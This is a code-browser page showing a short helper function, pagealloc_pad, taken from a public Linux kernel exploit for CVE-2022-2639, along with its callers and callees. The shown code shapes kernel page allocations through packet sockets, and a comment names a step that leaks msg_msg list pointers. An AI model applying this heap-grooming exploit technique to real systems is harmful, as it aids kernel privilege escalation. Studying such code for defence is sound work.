MCPcopy Create free account
hub / github.com/bsauce/kernel-exploit-factory / pagealloc_pad

Function pagealloc_pad

CVE-2022-2639/exploit.c:759–761  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

757}
758
759int pagealloc_pad(int count, int size) {
760 return packet_socket_setup(size, 2048, count, 0, 100);
761}
762// exploit_step1() —— leak kmalloc-0x400 (msg_msg->m_list.next / prev)
763int exploit_step1() {
764 char buff[0x1000];

Callers 2

exploit_step1Function · 0.70
exploit_step2Function · 0.70

Calls 1

packet_socket_setupFunction · 0.70

Tested by

no test coverage detected